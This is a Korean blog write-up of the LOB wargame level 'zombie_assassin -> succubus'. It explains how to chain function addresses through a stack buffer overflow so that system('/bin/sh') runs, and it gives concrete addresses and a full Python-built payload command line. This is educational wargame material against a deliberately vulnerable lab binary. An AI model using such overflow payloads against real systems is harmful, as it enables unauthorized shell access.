상세 컨텐츠

본문 제목

[LOB] level 17: zomebie_assassin -> succubus

SYSTEM HACKING/LOB Redhat

by koharin 2019. 6. 28. 10:11

본문

728x90
반응형

 

 

 

 

 

DO 함수에서부터 계속 함수를 불러서 check1, 2, 3, 4가 되고, 마지막에 최종적으로 check == 4일 때 MO 함수에서 system(cmd); 명령어를 수행하는 것이 최종 목표인 것 같다. System의 인자 cmd에 우리가 원하는 “/bin/sh”를 넣으면 될 것 같다.

그렇다면 main 함수에서의 모든 조건을 만족시킨 후, MO 함수의 위치를 찾아서, MO 함수 속의 system의 실행 시 주소를 알아내 ebp + 8 위치에 &“/bin/sh”를 넣으면 될 것 같다.

다만 그것이 main 함수의 조건에 위배되지 않을 경우이다.

if(argc < 2) : 인수를 2(실행파일 이름 포함) 이상 줘야 한다.

if(strchr(argv[1], ‘\x40’)) : argv[1]의 처음 character‘\x40’이 아니여야 한다.

 

 

addr = (char*)&DO; : 포인터 변수 addrDO 함수를 가리킨다.

if(memcmp(argv[1]+44, &addr, 4) != 0) : argv[1]+44부터 4byte에는 return address가 위치한다. 따라서 return addressDO 함수의 주소를 비교했을 때 같아야 한다. , return addressDO 함수의 주소가 들어가야 한다.

strcpy(buffer, argv[1]) : argv[1]buffer에 복사한다. strncpy 함수가 사용되지 않았으므로 ‘\0’을 만날 때까지 buffer에 복사된다.

memset(buffer, 0, 44) : buffer44byte0으로 초기화한다. 근데 buffer의 크기는 40byte이기 때문에 buffer의 크기만큼 초기화되고 뒤의 4byte는 남아있을 것 같다. 다만, buffer는 활용할 수 없다.

memset(buffer+48+100, 0, 0xbfffffff – (int)(buffer+48+100)) : return address(buffer+48) 100 byte 부분의 주소에서부터 0xbfffffff – int(buffer+48+100)의 크기만큼 0으로 초기화한다. , 0xbfffffff에서 buffer+48+100까지를 다 0으로 초기화한다. buffer+48+100까지는 사용할 수 있고, 여기까지의 주소는 활용할 수 있다.

memset(buffer-3000, 0, 3000-40) : buffer-3000부분의 주소부터 buffer ?40byte를 제외하고는 초기화한다.

 

 

 

 

DO 함수의 주소를 ret에 넣는 것을 시작으로 &GYE, &GUL, &YUT, &MO의 주소를 차례로 주고, 마지막 MO 함수에서 system(cmd); 에서 system 함수의 인자로 “/bin/sh”를 주면 된다.

 

ret에 넣을 DO의 주소: 0x80487ec

Little endian => \xec\x87\x04\x08

 

 

 

GYE의 주소: 0x80487bc

Little endian => \xbc\x87\x04\x08

 

 

GUL의 주소: 0x804878c

Little endian => \x8c\x87\x04\x08

 

 

YUT의 주소: 0x804875c

Little endian => \x5c\x87\x04\x08

 

 

MO의 주소: 0x8048724

Little endian => \x24\x87\x04\x08

이때 system의 주소를 call할 때의 주소가 아님을 주의해야 한다.

MO 함수에 도착했을 때 스택 구조가 saved ebp+ret+argument 이렇게 될텐데, ebp+4 ret에는 이제 넣을 것이 없으므로 dummy로 채우고, 인자에 &”/bin/sh”의 주소를 주면 된다.

 

실행 시 system의 주소를 구해보자.

 

 

 

System의 주소: 0x40058ae0

Little endian => \xe0\x8a\x05\x40

 

 

 

&”/bin/sh” : 0x400fbff9

Little endian => \xf9\xbf\x0f\x40

Payload

./succubus `python -c ‘print “A”*40+”B”*4+” \xec\x87\x04\x08”+” \xbc\x87\x04\x08”+“\x8c\x87\x04\x08”+” \x5c\x87\x04\x08”+” \x24\x87\x04\x08”+”\x90”*4+” \xf9\xbf\x0f\x40”’`

 

이렇게 쓰려고 했더니 system의 인자가 ‘\x40’이라서 문제가 생긴다. System 내의 “/bin/sh”의 주소를 사용해서 그런 것 같다.

따라서 이번에는 system 함수의 인자가 cmd 변수로 정해져 있으니, Cmd 주소를 찾아서 해당 주소에“/bin/sh”만 같이 주면 되는 것 같다.

 

 

 

“/bin/sh”가 들어가있는 주소를 찾았다. 이곳이 cmd의 주소이다.

 

성공했다.

 

 

“here to stay”

728x90
반응형

관련글 더보기